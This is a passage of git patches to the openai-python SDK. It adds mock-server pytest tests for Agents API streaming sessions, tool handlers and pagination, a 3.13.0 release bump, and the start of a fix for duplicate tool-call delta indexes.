+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.with_streaming_response.delete(
+ "agent_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ agent = await response.parse()
+ assert_matches_type(AgentDeleted, agent, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `agent_id` but received ''"):
+ await async_client.beta.agents.with_raw_response.delete(
+ "",
+ )
diff --git a/tests/lib/streaming/agents/test_streams.py b/tests/lib/streaming/agents/test_streams.py
new file mode 100644
index 0000000000..3bfbdfcc33
--- /dev/null
+++ b/tests/lib/streaming/agents/test_streams.py
@@ -0,0 +1,582 @@
+from __future__ import annotations
+
+import json
+import time
+import asyncio
+from typing import Any
+from collections.abc import Iterator, AsyncIterator
+from typing_extensions import override
+
+import anyio
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, BadRequestError
+from openai.types.beta.agent_session_event import AgentSessionEvent
+from openai.types.beta.agent_session_input_message_param import AgentSessionInputMessageParam
+
+
+def session(status: str = "idle") -> dict[str, object]:
+ return {
+ "id": "session_test",
+ "object": "agent.session",
+ "agent": {
+ "id": "agent_test",
+ "object": "agent",
+ "created_at": 1,
+ "updated_at": 1,
+ "metadata": {},
+ "model": "test-model",
+ "multi_agent": {"enabled": True},
+ "reasoning": {},
+ "service_tier": "default",
+ "text": {"format": {"type": "text"}, "verbosity": "medium"},
+ "tools": [],
+ },
+ "created_at": 1,
+ "last_active_at": 1,
+ "environment": {"type": "none"},
+ "metadata": {},
+ "required_actions": [],
+ "status": status,
+ "vault_ids": [],
+ }
+
+
+def turn_event(kind: str, turn_id: str = "turn_root", *, subagent_id: str | None = None) -> dict[str, object]:
+ status = "in_progress" if kind == "created" else kind
+ return {
+ "type": f"agent.session.turn.{kind}",
+ "session_id": "session_test",
+ "turn_id": turn_id,
+ "turn": {
+ "id": turn_id,
+ "object": "agent.session.turn",
+ "agent_id": "agent_test",
+ "session_id": "session_test",
+ "created_at": 1,
+ "status": status,
+ "subagent_id": subagent_id,
+ },
+ }
+
+
+def idle() -> dict[str, object]:
+ return {"type": "agent.session.idle", "session": session()}
+
+
+def call(arguments: object = '{"query":"test"}', *, call_id: str = "call_test") -> dict[str, object]:
+ return {
+ "type": "agent.session.turn.item.added",
+ "session_id": "session_test",
+ "turn_id": "turn_root",
+ "item": {
+ "id": "item_test",
+ "type": "function_call",
+ "name": "search",
+ "call_id": call_id,
+ "arguments": arguments,
+ "status": "in_progress",
+ "turn_id": "turn_root",
+ },
+ }
+
+
+class EventBody(httpx2.SyncByteStream, httpx2.AsyncByteStream):
+ def __init__(self, events: list[dict[str, object]]) -> None:
+ self.events = events
+ self.closed = False
+ self.read_count = 0
+
+ @override
+ def __iter__(self) -> Iterator[bytes]:
+ for index, event in enumerate(self.events):
+ self.read_count += 1
+ yield f"data: {json.dumps({'event_id': str(index), **event})}\n\n".encode()
+
+ @override
+ async def __aiter__(self) -> AsyncIterator[bytes]:
+ for chunk in self:
+ yield chunk
+
+ @override
+ def close(self) -> None:
+ self.closed = True
+
+ @override
+ async def aclose(self) -> None:
+ self.closed = True
+
+
+class Server:
+ def __init__(self) -> None:
+ self.body = EventBody([turn_event("created"), turn_event("completed"), idle()])
+ self.requests: list[httpx2.Request] = []
+ self.status = "idle"
+ self.reject_input = False
+ self.tool_errors: list[str] = []
+ self.lost_responses: set[str] = set()
+
+ def handle(self, request: httpx2.Request) -> httpx2.Response:
+ self.requests.append(request)
+ if request.method == "GET" and request.url.path.endswith("/events"):
+ return httpx2.Response(200, headers={"content-type": "text/event-stream"}, stream=self.body)
+ if request.method == "GET":
+ return httpx2.Response(200, json=session(self.status))
+ assert request.method == "POST"
+ submitted = json.loads(request.content)["events"][0]
+ delivery = submitted.get("call_id", submitted["type"])
+ if delivery in self.lost_responses:
+ self.lost_responses.remove(delivery)
+ raise httpx2.ReadTimeout("Response lost after accepting the POST", request=request)
+ if self.tool_errors and json.loads(request.content)["events"][0]["type"] == "agent.session.input.tool_result":
+ return httpx2.Response(
+ 400, json={"error": {"code": "invalid_request_error", "message": self.tool_errors.pop(0)}}
+ )
+ if self.reject_input:
+ return httpx2.Response(400, json={"error": {"message": "Rejected input", "type": "invalid_request_error"}})
+ return httpx2.Response(204)
+
+ def inputs(self) -> list[dict[str, Any]]:
+ return [json.loads(request.content)["events"][0] for request in self.requests if request.method == "POST"]
+
+
+@pytest.fixture
+def server() -> Server:
+ return Server()
+
+
+@pytest.fixture(params=[False, True], ids=["sync", "async"])
+async def sdk(request: pytest.FixtureRequest, server: Server) -> AsyncIterator[OpenAI | AsyncOpenAI]:
+ transport = httpx2.MockTransport(server.handle)
+ if request.param:
+ async with AsyncOpenAI(
+ api_key="synthetic",
+ base_url="https://sdk-test.example/v1",
+ max_retries=0,
+ _strict_response_validation=True,
+ http_client=httpx2.AsyncClient(transport=transport, trust_env=False),
+ ) as client:
+ yield client
+ else:
+ with OpenAI(
+ api_key="synthetic",
+ base_url="https://sdk-test.example/v1",
+ max_retries=0,
+ _strict_response_validation=True,
+ http_client=httpx2.Client(transport=transport, trust_env=False),
+ ) as client:
+ yield client
+
+
+async def consume(client: OpenAI | AsyncOpenAI, **kwargs: Any) -> list[AgentSessionEvent]:
+ if isinstance(client, AsyncOpenAI):
+ async with client.beta.agents.sessions.stream("session_test", **kwargs) as stream:
+ return [event async for event in stream]
+ with client.beta.agents.sessions.stream("session_test", **kwargs) as stream:
+ return list(stream)
+
+
+async def test_input_order_and_options(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ events = await consume(
+ sdk, input="Hello", extra_headers={"x-test": "kept"}, timeout=12.5, idempotency_key="input-key"
+ )
+ assert [event.type for event in events] == [
+ "agent.session.turn.created",
+ "agent.session.turn.completed",
+ "agent.session.idle",
+ ]
+ assert [(r.method, r.url.path) for r in server.requests] == [
+ ("GET", "/v1/agents/sessions/session_test"),
+ ("GET", "/v1/agents/sessions/session_test/events"),
+ ("POST", "/v1/agents/sessions/session_test/events"),
+ ]
+ assert all(r.headers["x-test"] == "kept" for r in server.requests)
+ assert all(r.extensions["timeout"]["read"] == 12.5 for r in server.requests)
+ assert server.requests[-1].headers["idempotency-key"] == "input-key"
+ assert server.inputs() == [
+ {
+ "type": "agent.session.input.message",
+ "input": [{"role": "user", "content": [{"type": "input_text", "text": "Hello"}]}],
+ }
+ ]
+ assert server.body.closed
+
+
+async def test_iterable_input_and_until_done(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ messages: list[AgentSessionInputMessageParam] = [
+ {"role": "user", "content": [{"type": "input_text", "text": "Hello"}]}
+ ]
+ if isinstance(sdk, AsyncOpenAI):
+ async with sdk.beta.agents.sessions.stream("session_test", input=iter(messages)) as stream:
+ await stream.until_done()
+ else:
+ with sdk.beta.agents.sessions.stream("session_test", input=iter(messages)) as stream:
+ stream.until_done()
+ assert server.inputs()[0]["input"] == messages
+ assert server.body.closed
+
+
+@pytest.mark.parametrize("ending", ["completed", "failed", "cancelled"])
+async def test_target_turn_and_idle(sdk: OpenAI | AsyncOpenAI, server: Server, ending: str) -> None:
+ server.body = EventBody(
+ [
+ idle(),
+ turn_event("created", "turn_child", subagent_id="subagent_test"),
+ turn_event("completed", "turn_child", subagent_id="subagent_test"),
+ idle(),
+ turn_event("created"),
+ turn_event("completed", "other_turn"),
+ idle(),
+ turn_event(ending),
+ idle(),
+ turn_event("created", "later_turn"),
+ ]
+ )
+ events = await consume(sdk, input="Hello")
+ assert len(events) == 9
+ assert events[-2].type == f"agent.session.turn.{ending}"
+ assert events[-1].type == "agent.session.idle"
+ assert server.body.read_count == 9
+ assert server.body.closed
+
+
+async def test_session_failure_terminates(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ server.body = EventBody([{"type": "agent.session.failed", "session": session("failed")}, idle()])
+ events = await consume(sdk, input="Hello")
+ assert [event.type for event in events] == ["agent.session.failed"]
+ assert server.body.closed
+
+
+@pytest.mark.parametrize("arguments", [{"query": "test"}, '{"query":"test"}'])
+@pytest.mark.parametrize("result", ["found", {"rows": [1]}, [{"type": "input_text", "text": "found"}], None])
+async def test_tool_results_and_duplicates(
+ sdk: OpenAI | AsyncOpenAI, server: Server, arguments: object, result: object
+) -> None:
+ called: list[dict[str, object]] = []
+
+ def handler(arguments: dict[str, object]) -> object:
+ called.append(arguments)
+ return result
+
+ repeated = {"event_id": "repeated", **call(arguments)}
+ server.body = EventBody(
+ [turn_event("created"), repeated, repeated, call(arguments), turn_event("completed"), idle()]
+ )
+ events = await consume(sdk, input="Hello", tool_handlers={"search": handler}, idempotency_key="input-only")
+ assert called == [{"query": "test"}]
+ assert len(events) == 5
+ outputs = server.inputs()
+ assert len(outputs) == 2
+ assert outputs[1]["type"] == "agent.session.input.tool_result"
+ assert outputs[1]["call_id"] == "call_test"
+ assert outputs[1]["turn_id"] == "turn_root"
+ assert outputs[1]["success"] is True
+ output = outputs[1].get("output")
+ if isinstance(result, dict):
+ assert isinstance(output, str)
+ output = json.loads(output)
+ assert output == result
+ assert server.requests[-1].headers.get("idempotency-key") != "input-only"
+ assert server.body.closed
+
+
+async def test_missing_handler_does_not_submit_result(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ server.body = EventBody([turn_event("created"), call(), turn_event("completed"), idle()])
+ events = await consume(sdk, input="Hello")
+ assert events[1].type == "agent.session.turn.item.added"
+ assert len(server.inputs()) == 1
+
+
+async def test_handler_error_is_redacted(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ def handler(_arguments: dict[str, object]) -> object:
+ raise ValueError("synthetic-sensitive-value")
+
+ server.body = EventBody([turn_event("created"), call(), turn_event("completed"), idle()])
+ await consume(sdk, input="Hello", tool_handlers={"search": handler})
+ result = server.inputs()[1]
+ assert result["success"] is False
+ assert result["error"]
+ assert "synthetic-sensitive-value" not in json.dumps(result)
+ assert result.get("output") is None
+
+
+async def test_input_failure_closes_stream(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ server.reject_input = True
+ with pytest.raises(BadRequestError):
+ await consume(sdk, input="Hello")
+ assert server.body.closed
+ assert server.body.read_count == 0
+
+
+@pytest.mark.parametrize("events", [[], [turn_event("created")], [turn_event("created"), turn_event("completed")]])
+async def test_premature_eof(sdk: OpenAI | AsyncOpenAI, server: Server, events: list[dict[str, object]]) -> None:
+ server.body = EventBody(events)
+ with pytest.raises(RuntimeError):
+ await consume(sdk, input="Hello")
+ assert server.body.closed
+
+
+async def test_requires_idle_session(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ server.status = "in_progress"
+ with pytest.raises(ValueError, match="idle"):
+ await consume(sdk, input="Hello")
+ assert len(server.requests) == 1
+
+
+async def test_context_exit_close_and_single_use(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ if isinstance(sdk, AsyncOpenAI):
+ manager = sdk.beta.agents.sessions.stream("session_test", input="Hello")
+ async with manager as stream:
+ await stream.close()
+ assert server.body.closed
+ with pytest.raises(RuntimeError):
+ async with manager:
+ pass
+ else:
+ sync_manager = sdk.beta.agents.sessions.stream("session_test", input="Hello")
+ with sync_manager as sync_stream:
+ sync_stream.close()
+ assert server.body.closed
+ with pytest.raises(RuntimeError):
+ with sync_manager:
+ pass
+ assert len(server.requests) == 3
+
+
+async def test_early_context_exit(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ if isinstance(sdk, AsyncOpenAI):
+ async with sdk.beta.agents.sessions.stream("session_test", input="Hello"):
+ pass
+ else:
+ with sdk.beta.agents.sessions.stream("session_test", input="Hello"):
+ pass
+ assert server.body.closed
+
+
+async def test_async_handler_and_cancellation(server: Server) -> None:
+ async with AsyncOpenAI(
+ api_key="synthetic",
+ base_url="https://sdk-test.example/v1",
+ max_retries=0,
+ _strict_response_validation=True,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(server.handle), trust_env=False),
+ ) as client:
+
+ async def handler(_arguments: dict[str, object]) -> str:
+ await asyncio.sleep(0)
+ return "async result"
+
+ server.body = EventBody([turn_event("created"), call(), turn_event("completed"), idle()])
+ await consume(client, input="Hello", tool_handlers={"search": handler})
+ assert server.inputs()[1]["output"] == "async result"
+
+ async def cancelled(_arguments: dict[str, object]) -> str:
+ raise asyncio.CancelledError()
+
+ server.requests.clear()
+ server.body = EventBody([turn_event("created"), call(), turn_event("completed"), idle()])
+ with pytest.raises(asyncio.CancelledError):
+ await consume(client, input="Hello", tool_handlers={"search": cancelled})
+ assert len(server.inputs()) == 1
+ assert server.body.closed
+
+
+@pytest.mark.parametrize("pending", [True, False], ids=["pending-call-race", "other-bad-request"])
+async def test_tool_result_retry(
+ sdk: OpenAI | AsyncOpenAI, server: Server, monkeypatch: pytest.MonkeyPatch, pending: bool
+) -> None:
+ delays: list[float] = []
+
+ def handler(_arguments: dict[str, object]) -> str:
+ return "result"
+
+ async def sleep(delay: float) -> None:
+ delays.append(delay)
+
+ monkeypatch.setattr(time, "sleep", delays.append)
+ monkeypatch.setattr(asyncio, "sleep", sleep)
+ monkeypatch.setattr(anyio, "sleep", sleep)
+ server.body = EventBody([turn_event("created"), call(call_id="call_1"), turn_event("completed"), idle()])
+ server.tool_errors = ["Unknown pending tool call: call_1"] * 3 if pending else ["Invalid tool result"]
+ if pending:
+ await consume(sdk, input="Hello", tool_handlers={"search": handler})
+ assert delays == [0.1, 0.3, 0.6]
+ assert len(server.inputs()) == 5
+ assert server.inputs()[1:] == [server.inputs()[1]] * 4
+ keys = [r.headers["idempotency-key"] for r in server.requests if r.method == "POST"]
+ assert keys[1]
+ assert keys[1:] == [keys[1]] * 4
+ assert keys[0] != keys[1]
+ else:
+ with pytest.raises(BadRequestError):
+ await consume(sdk, input="Hello", tool_handlers={"search": handler})
+ assert delays == []
+ assert len(server.inputs()) == 2
+ assert server.body.closed
+
+
+@pytest.mark.parametrize("input_key_source", ["automatic", "argument", "header"])
+async def test_ambiguous_post_delivery_preserves_idempotency(
+ sdk: OpenAI | AsyncOpenAI, server: Server, monkeypatch: pytest.MonkeyPatch, input_key_source: str
+) -> None:
+ def sleep(_delay: float) -> None:
+ pass
+
+ async def async_sleep(_delay: float) -> None:
+ pass
+
+ def handler(_arguments: dict[str, object]) -> str:
+ return "result"
+
+ monkeypatch.setattr(time, "sleep", sleep)
+ monkeypatch.setattr(anyio, "sleep", async_sleep)
+ monkeypatch.setattr(asyncio, "sleep", async_sleep)
+ client = sdk.copy(max_retries=1)
+ logical_keys: list[str] = []
+ for invocation in range(2):
+ server.body = EventBody(
+ [
+ turn_event("created"),
+ call(call_id="call_1"),
+ call(call_id="call_2"),
+ turn_event("completed"),
+ idle(),
+ ]
+ )
+ server.lost_responses = {"agent.session.input.message", "call_1", "call_2"}
+ start = len(server.requests)
+ options: dict[str, Any] = {"extra_headers": {"x-test": "preserved"}}
+ explicit_key = f"input-{invocation}"
+ if input_key_source == "argument":
+ options["idempotency_key"] = explicit_key
+ elif input_key_source == "header":
+ options["extra_headers"]["iDeMpOtEnCy-KeY"] = explicit_key
+ await consume(client, input="Hello", tool_handlers={"search": handler}, **options)
+ posts = [r for r in server.requests[start:] if r.method == "POST"]
+ assert len(posts) == 6
+ for first, retry in zip(posts[::2], posts[1::2], strict=True):
+ key = first.headers["idempotency-key"]
+ assert key
+ assert retry.headers["idempotency-key"] == key
+ assert retry.content == first.content
+ assert first.headers["x-test"] == retry.headers["x-test"] == "preserved"
+ logical_keys.append(key)
+ if input_key_source != "automatic":
+ assert posts[0].headers["idempotency-key"] == explicit_key
+ assert server.body.closed
+ # Both inputs and every logical tool call need separate keys, including the
+ # same call IDs reused by a later turn in the same session.
+ assert len(set(logical_keys)) == 6
+
+
+async def test_long_stream_bounds_event_cache_without_repeating_tools(
+ sdk: OpenAI | AsyncOpenAI, server: Server
+) -> None:
+ calls: list[dict[str, object]] = []
+
+ def handler(arguments: dict[str, object]) -> str:
+ calls.append(arguments)
+ return "result"
+
+ repeated_call = {"event_id": "original-call", **call()}
+ payloads = [turn_event("created"), repeated_call]
+ for index in range(5000):
+ delta_event: dict[str, object] = {
+ "type": "agent.session.turn.output_text.delta",
+ "event_id": f"delta-{index}",
+ "session_id": "session_test",
+ "turn_id": "turn_root",
+ "item_id": "message_test",
+ "output_index": 0,
+ "content_index": 0,
+ "delta": str(index),
+ }
+ payloads.extend([delta_event, delta_event])
+ payloads.extend([repeated_call, turn_event("completed"), idle()])
+ server.body = EventBody(payloads)
+ deltas: list[str] = []
+ if isinstance(sdk, AsyncOpenAI):
+ async with sdk.beta.agents.sessions.stream(
+ "session_test", input="Hello", tool_handlers={"search": handler}
+ ) as stream:
+ async for event in stream:
+ if event.type == "agent.session.turn.output_text.delta":
+ deltas.append(event.delta)
+ assert len(stream._state.event_ids) <= 1024
+ assert len(stream._state.recent_events) <= 1024
+ else:
+ with sdk.beta.agents.sessions.stream(
+ "session_test", input="Hello", tool_handlers={"search": handler}
+ ) as sync_stream:
+ for event in sync_stream:
+ if event.type == "agent.session.turn.output_text.delta":
+ deltas.append(event.delta)
+ assert len(sync_stream._state.event_ids) <= 1024
+ assert len(sync_stream._state.recent_events) <= 1024
+ assert deltas == [str(index) for index in range(5000)]
+ assert calls == [{"query": "test"}]
+ assert len(server.inputs()) == 2
+ assert server.body.closed
+
+
+@pytest.mark.parametrize("as_json", [False, True], ids=["object", "json-string"])
+async def test_handler_cannot_mutate_retained_event(sdk: OpenAI | AsyncOpenAI, server: Server, as_json: bool) -> None:
+ original = {"query": "test", "nested": {"values": [1]}}
+ arguments: object = json.dumps(original) if as_json else original
+ server.body = EventBody([turn_event("created"), call(arguments), turn_event("completed"), idle()])
+
+ def handler(values: dict[str, Any]) -> str:
+ values.pop("query")
+ values["nested"]["values"].append(2)
+ return "result"
+
+ events = await consume(sdk, input="Hello", tool_handlers={"search": handler})
+ added = events[1]
+ assert added.type == "agent.session.turn.item.added"
+ assert added.item.type == "function_call"
+ assert added.item.arguments == arguments
+ assert original == {"query": "test", "nested": {"values": [1]}}
+ assert server.inputs()[1]["output"] == "result"
+
+
+async def test_consumer_mutation_does_not_redirect_tool(sdk: OpenAI | AsyncOpenAI, server: Server) -> None:
+ server.body = EventBody([turn_event("created"), call({"nested": {"value": 42}}), turn_event("completed"), idle()])
+ handled: list[dict[str, Any]] = []
+
+ def handler(values: dict[str, Any]) -> str:
+ handled.append(values)
+ return "result"
+
+ def change_event(event: AgentSessionEvent) -> None:
+ if event.type == "agent.session.turn.item.added" and event.item.type == "function_call":
+ assert not handled
+ values = event.item.arguments
+ assert isinstance(values, dict)
+ values["nested"]["value"] = 0
+ event.item.name = "redirected"
+ event.item.call_id = "redirected_call"
+ event.item.turn_id = "redirected_turn"
+
+ if isinstance(sdk, AsyncOpenAI):
+ async with sdk.beta.agents.sessions.stream(
+ "session_test", input="Hello", tool_handlers={"search": handler}
+ ) as stream:
+ async for event in stream:
+ change_event(event)
+ else:
+ with sdk.beta.agents.sessions.stream(
+ "session_test", input="Hello", tool_handlers={"search": handler}
+ ) as sync_stream:
+ for sync_event in sync_stream:
+ change_event(sync_event)
+
+ assert handled == [{"nested": {"value": 42}}]
+ assert server.inputs()[1] == {
+ "type": "agent.session.input.tool_result",
+ "turn_id": "turn_root",
+ "call_id": "call_test",
+ "success": True,
+ "output": "result",
+ }
+ assert server.body.closed
diff --git a/tests/lib/test_agent_session_message.py b/tests/lib/test_agent_session_message.py
new file mode 100644
index 0000000000..8dc796d239
--- /dev/null
+++ b/tests/lib/test_agent_session_message.py
@@ -0,0 +1,91 @@
+from typing import List, Optional
+from typing_extensions import Literal
+
+import pytest
+
+from openai.types.beta import AgentSessionMessage
+from openai.types.beta.agent_session_message_content import (
+ AgentSessionMessageContent,
+ MessageContentResourceInputText,
+ MessageContentResourceInputImage,
+ MessageContentResourceOutputText,
+)
+
+
+@pytest.mark.parametrize("phase", [None, "commentary", "final_answer"])
+def test_output_text_joins_blocks(phase: Optional[Literal["commentary", "final_answer"]]) -> None:
+ message = AgentSessionMessage(
+ content=[
+ MessageContentResourceOutputText(type="output_text", text="Hello "),
+ MessageContentResourceOutputText(type="output_text", text=""),
+ MessageContentResourceOutputText(type="output_text", text="world!"),
+ ],
+ phase=phase,
+ role="assistant",
+ status="completed",
+ turn_id="turn_test",
+ type="message",
+ )
+
+ assert message.output_text == "Hello world!"
+
+
+@pytest.mark.parametrize(
+ "content",
+ [
+ [],
+ [MessageContentResourceInputText(type="input_text", text="User input")],
+ [
+ MessageContentResourceInputText(type="input_text", text="Describe this image"),
+ MessageContentResourceInputImage(type="input_image", image_url="https://example.com/image.png"),
+ ],
+ ],
+)
+def test_output_text_without_output_blocks(content: List[AgentSessionMessageContent]) -> None:
+ message = AgentSessionMessage(
+ content=content,
+ role="user",
+ status="completed",
+ turn_id="turn_test",
+ type="message",
+ )
+
+ assert message.output_text == ""
+
+
+def test_output_text_ignores_other_content_types() -> None:
+ message = AgentSessionMessage(
+ content=[
+ MessageContentResourceOutputText(type="output_text", text="First"),
+ MessageContentResourceInputText(type="input_text", text="Not output"),
+ MessageContentResourceInputImage(type="input_image", image_url="https://example.com/image.png"),
+ MessageContentResourceOutputText(type="output_text", text=" second"),
+ ],
+ role="assistant",
+ status="completed",
+ turn_id="turn_test",
+ type="message",
+ )
+
+ assert message.output_text == "First second"
+
+
+def test_output_text_reads_do_not_change_serialization() -> None:
+ message = AgentSessionMessage(
+ content=[MessageContentResourceOutputText(type="output_text", text="Answer")],
+ role="assistant",
+ status="completed",
+ turn_id="turn_test",
+ type="message",
+ )
+ original_dict = message.to_dict()
+ original_json = message.to_json()
+
+ assert message.output_text == "Answer"
+ assert message.output_text == "Answer"
+ assert message.to_dict() == original_dict
+ assert message.to_json() == original_json
+ assert "output_text" not in message.to_dict()
+
+ message.content.append(MessageContentResourceOutputText(type="output_text", text=" updated"))
+ assert message.output_text == "Answer updated"
diff --git a/tests/test_agents_environment_token_page.py b/tests/test_agents_environment_token_page.py
new file mode 100644
index 0000000000..4a27d29863
--- /dev/null
+++ b/tests/test_agents_environment_token_page.py
@@ -0,0 +1,82 @@
+from typing import Callable
+
+import httpx2
+
+from openai import OpenAI, AsyncOpenAI
+from openai.pagination import SyncTokenPage, AsyncTokenPage
+
+TOKEN = "synthetic:token/+="
+
+
+def page_handler(requests: list[httpx2.Request]) -> Callable[[httpx2.Request], httpx2.Response]:
+ def handle(request: httpx2.Request) -> httpx2.Response:
+ index = len(requests)
+ requests.append(request)
+ assert index < 2, "iteration must stop at the terminal page"
+ assert request.url.path == "/v1/agents/environments/env_test/files"
+ assert dict(request.url.params) == {
+ "path": "/workspace/test",
+ "order": "asc",
+ "limit": "1",
+ **({"page": TOKEN} if index else {}),
+ }
+ assert request.headers["x-pagination-test"] == "preserved"
+ assert request.headers["openai-beta"] == "agents=v1"
+ return httpx2.Response(
+ 200,
+ json={
+ "object": "page",
+ "data": [
+ {
+ "object": "agent.environment.file",
+ "environment_id": "env_test",
+ "path": f"/workspace/test/{index}.txt",
+ "size_bytes": 1,
+ }
+ ],
+ "next": TOKEN if index == 0 else None,
+ "has_more": index == 0,
+ },
+ )
+
+ return handle
+
+
+def test_sync_files_token_pagination() -> None:
+ requests: list[httpx2.Request] = []
+ with OpenAI(
+ api_key="synthetic",
+ base_url="https://sdk-test.example/v1",
+ max_retries=0,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(page_handler(requests)), trust_env=False),
+ ) as client:
+ page = client.beta.agents.environments.files.list(
+ "env_test",
+ path="/workspace/test",
+ order="asc",
+ limit=1,
+ extra_headers={"x-pagination-test": "preserved"},
+ )
+ assert isinstance(page, SyncTokenPage)
+ assert [file.path for file in page] == ["/workspace/test/0.txt", "/workspace/test/1.txt"]
+ assert len(requests) == 2
+
+
+async def test_async_files_token_pagination() -> None:
+ requests: list[httpx2.Request] = []
+ async with AsyncOpenAI(
+ api_key="synthetic",
+ base_url="https://sdk-test.example/v1",
+ max_retries=0,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(page_handler(requests)), trust_env=False),
+ ) as client:
+ page = await client.beta.agents.environments.files.list(
+ "env_test",
+ path="/workspace/test",
+ order="asc",
+ limit=1,
+ extra_headers={"x-pagination-test": "preserved"},
+ )
+ assert isinstance(page, AsyncTokenPage)
+ assert [file.path async for file in page] == ["/workspace/test/0.txt", "/workspace/test/1.txt"]
+ assert len(requests) == 2
From f0fa922ef12f2c7329bcd8fc42e0cbb46f008ecb Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Thu, 10 Sep 2026 19:32:51 +0000
Subject: [PATCH 118/341] release: 3.13.0 (#3848)
Automated Release PR
---
##
[3.13.0](https://github.com/openai/openai-python/compare/v3.12.0...v3.13.0)
(2026-09-10)
### Features
* **api:** add Agents API
([1c4284a](https://github.com/openai/openai-python/commit/1c4284a08294f734d57047585ab82e2e09d3a5bc))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 7 +++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 11 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index faa0df4ef5..82f5ad977a 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.12.0"
+ ".": "3.13.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index e126d8cd1a..302f8e04cd 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,12 @@
# Changelog
+## [3.13.0](https://github.com/openai/openai-python/compare/v3.12.0...v3.13.0) (2026-09-10)
+
+
+### Features
+
+* **api:** add Agents API ([1c4284a](https://github.com/openai/openai-python/commit/1c4284a08294f734d57047585ab82e2e09d3a5bc))
+
## [3.12.0](https://github.com/openai/openai-python/compare/v3.11.0...v3.12.0) (2026-09-10)
diff --git a/pyproject.toml b/pyproject.toml
index 1f522e4d2e..3e4b6f98cd 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.12.0"
+version = "3.13.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index aceb6739b4..d997c6cc9a 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.12.0" # x-release-please-version
+__version__ = "3.13.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 207d803ff1..900b929ddc 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.12.0" # x-release-please-version
+version = "3.13.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 7e31f8cb87f43568952bb53287e7478d76db9224 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=86=AF=E5=9F=BA=E9=AD=81?=
<56265583+fengjikui@users.noreply.github.com>
Date: Fri, 11 Sep 2026 04:07:02 +0800
Subject: [PATCH 119/341] Fix streaming delta merge for duplicate tool call
indexes (#3425)
Fixes #3201.
## Summary
Streaming tool call deltas can include multiple entries with the same
logical `index` in the first chunk. The accumulator used to assign that
first list wholesale when the key was absent or `None`, so
duplicate-index entries bypassed the existing recursive merge path and
later argument fragments merged into the wrong physical list entry.
This changes the streaming delta accumulators to initialize indexed
lists through the existing merge loop instead of taking the first
indexed list as-is. It also applies the same initial-list normalization
to the chat completion snapshot path and the matching assistant
streaming accumulator, which shared the same early-return behavior.
## Root cause
`accumulate_delta()` already knew how to merge list entries by their
logical `index`, but only after an accumulator entry existed. When the
first streamed value for `tool_calls` contained two entries with `index:
0`, the fast path copied both entries directly into the snapshot. The
next chunk then merged into physical slot `0` while the earlier
arguments fragment stayed orphaned in physical slot `1`, producing
invalid final JSON.
## Validation
Reproduced on current `origin/main` with a minimal script: duplicate
`index: 0` entries remained as two physical list entries and the
assertion that they merge failed.
```text
env -u HTTP_PROXY -u HTTPS_PROXY -u ALL_PROXY -u http_proxy -u https_proxy -u all_proxy uv run --with pytest --with pytest-xdist --with pytest-asyncio --with respx --with inline-snapshot --with syrupy --with anyio --with pydantic --with httpx --with distro pytest tests/lib/test_streaming_deltas.py tests/lib/chat/test_completions_streaming.py::test_duplicate_tool_call_index_in_initial_chunk -q
# 3 passed
uv run --with ruff ruff check src/openai/lib/streaming/_deltas.py src/openai/lib/streaming/_assistants.py src/openai/lib/streaming/chat/_completions.py tests/lib/test_streaming_deltas.py tests/lib/chat/test_completions_streaming.py
# All checks passed!
uv run --with ruff ruff format --check src/openai/lib/streaming/_deltas.py src/openai/lib/streaming/_assistants.py src/openai/lib/streaming/chat/_completions.py tests/lib/test_streaming_deltas.py tests/lib/chat/test_completions_streaming.py
# 5 files already formatted
git diff --check origin/main..HEAD
# passed
```
---------
Co-authored-by: Marcus Wood
---
src/openai/lib/streaming/_assistants.py | 64 +-------
src/openai/lib/streaming/_deltas.py | 24 ++-
src/openai/lib/streaming/chat/_completions.py | 4 +-
tests/lib/chat/test_tool_call_deltas.py | 139 ++++++++++++++++++
tests/lib/test_assistant_tool_call_deltas.py | 94 ++++++++++++
